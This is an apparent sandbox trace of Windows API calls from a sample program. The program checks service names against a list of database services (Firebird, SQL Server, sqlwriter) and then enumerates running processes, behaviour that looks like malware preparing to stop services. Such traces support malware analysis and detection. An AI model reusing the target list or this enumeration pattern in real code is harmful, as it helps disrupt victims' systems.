	[0061.594] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0061.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0061.594] lstrlenW (lpString="MapsBroker") returned 10
	[0061.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0061.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0061.594] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0061.594] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0061.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0061.594] lstrlenW (lpString="MpsSvc") returned 6
	[0061.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0061.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0061.594] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0061.594] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0061.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0061.594] lstrlenW (lpString="NcbService") returned 10
	[0061.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0061.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0061.595] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0061.595] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0061.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0061.595] lstrlenW (lpString="netprofm") returned 8
	[0061.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0061.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0061.595] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0061.595] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0061.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0061.595] lstrlenW (lpString="NgcSvc") returned 6
	[0061.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0061.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0061.595] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0061.595] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0061.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0061.595] lstrlenW (lpString="NlaSvc") returned 6
	[0061.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0061.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0061.595] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0061.595] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0061.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0061.595] lstrlenW (lpString="nsi") returned 3
	[0061.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0061.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0061.595] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0061.595] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0061.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0061.596] lstrlenW (lpString="PcaSvc") returned 6
	[0061.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0061.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0061.596] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0061.596] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0061.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0061.596] lstrlenW (lpString="PlugPlay") returned 8
	[0061.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0061.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0061.596] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0061.596] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0061.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0061.596] lstrlenW (lpString="Power") returned 5
	[0061.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0061.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0061.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0061.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0061.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0061.596] lstrlenW (lpString="ProfSvc") returned 7
	[0061.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0061.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0061.596] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0061.596] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0061.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0061.596] lstrlenW (lpString="RpcEptMapper") returned 12
	[0061.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0061.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0061.597] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0061.597] lstrlenW (lpString="RpcSs") returned 5
	[0061.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0061.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0061.597] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0061.597] lstrlenW (lpString="SamSs") returned 5
	[0061.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0061.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0061.597] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0061.597] lstrlenW (lpString="Schedule") returned 8
	[0061.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0061.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0061.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0061.597] lstrlenW (lpString="SecurityHealthService") returned 21
	[0061.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0061.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0061.597] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0061.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0061.597] lstrlenW (lpString="SENS") returned 4
	[0061.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0061.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0061.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0061.598] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0061.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0061.598] lstrlenW (lpString="ShellHWDetection") returned 16
	[0061.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0061.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0061.598] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0061.598] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0061.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0061.598] lstrlenW (lpString="Spooler") returned 7
	[0061.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0061.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0061.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0061.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0061.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0061.598] lstrlenW (lpString="StateRepository") returned 15
	[0061.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0061.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0061.598] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0061.598] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0061.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0061.598] lstrlenW (lpString="SysMain") returned 7
	[0061.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0061.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0061.598] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0061.599] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0061.599] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54fa78 | out: hHeap=0x4f0000) returned 1
	[0061.599] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370
	[0062.211] Process32FirstW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0062.212] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0062.214] lstrlenW (lpString="System") returned 6
	[0062.214] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0062.214] lstrlenW (lpString="smss.exe") returned 8
	[0062.214] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0062.215] lstrlenW (lpString="csrss.exe") returned 9
	[0062.215] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0062.216] lstrlenW (lpString="wininit.exe") returned 11
	[0062.216] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0062.216] lstrlenW (lpString="csrss.exe") returned 9
	[0062.216] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0062.217] lstrlenW (lpString="winlogon.exe") returned 12
	[0062.217] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0062.218] lstrlenW (lpString="services.exe") returned 12
	[0062.218] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0062.218] lstrlenW (lpString="lsass.exe") returned 9
	[0062.218] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.219] lstrlenW (lpString="svchost.exe") returned 11
	[0062.219] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0062.220] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0062.220] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0062.220] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0062.220] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.221] lstrlenW (lpString="svchost.exe") returned 11
	[0062.221] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0062.221] lstrlenW (lpString="dwm.exe") returned 7
	[0062.221] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.222] lstrlenW (lpString="svchost.exe") returned 11
	[0062.222] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.223] lstrlenW (lpString="svchost.exe") returned 11
	[0062.223] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.223] lstrlenW (lpString="svchost.exe") returned 11
	[0062.224] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.224] lstrlenW (lpString="svchost.exe") returned 11
	[0062.224] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.225] lstrlenW (lpString="svchost.exe") returned 11
	[0062.225] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.225] lstrlenW (lpString="svchost.exe") returned 11
	[0062.225] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.226] lstrlenW (lpString="svchost.exe") returned 11
	[0062.226] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.227] lstrlenW (lpString="svchost.exe") returned 11
	[0062.227] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.227] lstrlenW (lpString="svchost.exe") returned 11
	[0062.227] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0062.228] lstrlenW (lpString="spoolsv.exe") returned 11
	[0062.228] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.229] lstrlenW (lpString="svchost.exe") returned 11
	[0062.229] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.230] lstrlenW (lpString="svchost.exe") returned 11
	[0062.230] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0062.231] lstrlenW (lpString="audiodg.exe") returned 11
	[0062.231] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0062.232] lstrlenW (lpString="sihost.exe") returned 10
	[0062.232] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.278] lstrlenW (lpString="svchost.exe") returned 11
	[0062.285] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0062.315] lstrlenW (lpString="taskhostw.exe") returned 13
	[0062.315] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0062.316] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0062.316] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0062.316] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0062.317] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0062.317] lstrlenW (lpString="explorer.exe") returned 12
	[0062.317] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0062.318] lstrlenW (lpString="Memory Compression") returned 18
	[0062.318] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0063.210] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0063.211] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0063.211] lstrlenW (lpString="SearchUI.exe") returned 12
	[0063.211] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0063.212] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0063.212] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0063.213] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0063.213] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0063.213] lstrlenW (lpString="taskhostw.exe") returned 13
	[0063.213] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0063.214] lstrlenW (lpString="UsoClient.exe") returned 13
	[0063.214] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0063.215] lstrlenW (lpString="taskhostw.exe") returned 13
	[0063.215] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0063.215] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0063.215] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0063.216] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
